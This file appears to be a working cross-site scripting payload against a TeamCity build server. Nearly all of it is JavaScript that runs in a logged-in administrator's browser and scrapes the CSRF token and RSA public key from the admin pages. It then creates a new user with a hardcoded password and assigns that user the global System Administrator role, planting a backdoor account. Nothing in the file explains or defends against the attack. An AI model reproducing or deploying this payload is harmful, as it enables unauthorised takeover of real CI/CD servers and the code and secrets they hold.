artifacts_xss.html

<script>
username = "my_new_username";
email = "user@email.email"
password = "my_new_password"

var BS = {};
</script>
<script type="text/javascript" src="/js/crypt/jsbn.js"></script>
<script type="text/javascript" src="/js/crypt/prng4.js"></script>
<script type="text/javascript" src="/js/crypt/rng.js"></script>
<script type="text/javascript" src="/js/crypt/rsa.js"></script>

<script>
function encryptData(data, publicKey) {
	BS.Crypto.rng_seed_time();
	var rsa = new BS.Crypto.RSAKey();
	rsa.setPublic(publicKey, "10001");
	return rsa.encrypt(data);
}

function get_regexp(regexp, data) {
	var match = regexp.exec(data);
	return match[1];
}

var createUser = new XMLHttpRequest();
createUser.open("GET", "/admin/createUser.html", false);
createUser.send();
var csrftoken = get_regexp(/tc-csrf-token" value="([^"]*?)"/g, createUser.responseText);
var publickey = get_regexp(/name="publicKey" value="([^"]*?)"/g, createUser.responseText);
var encrypted_password = encryptData(password, publickey);

var params = "_administrator=true&administrator=true&username1="+escape(username)+"&name="+escape(username)+"&email="+escape(email)+"&publicKey="+escape(publickey)+"&_createMoreUsers=&submitCreateUser=Create+User&tc-csrf-token="+escape(csrftoken)+"&encryptedPassword1="+escape(encrypted_password)+"&encryptedRetypedPassword="+escape(encrypted_password);
var createUserPost = new XMLHttpRequest();
createUserPost.open("POST", "/admin/createUserSubmit.html", false);
createUserPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
createUserPost.send(params);

var listUsers = new XMLHttpRequest();
listUsers.open("GET", "/admin/admin.html?item=users", false);
listUsers.send();
var userid = get_regexp(new RegExp('admin\/editUser.html.*?userId=([0-9]+)[^"]*">'+username+'<', "g"), listUsers.responseText);

var params = "-ufd-teamcity-ui-role=System+administrator&role=SYSTEM_ADMIN&roleScope=global&_replaceRoles=&assignRoles=Assign&tc-csrf-token="+escape(csrftoken)+"&rolesHolderId="+escape(userid)
var addRole = new XMLHttpRequest();
addRole.open("POST", "/admin/action.html", false);
addRole.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
addRole.send(params);
</script>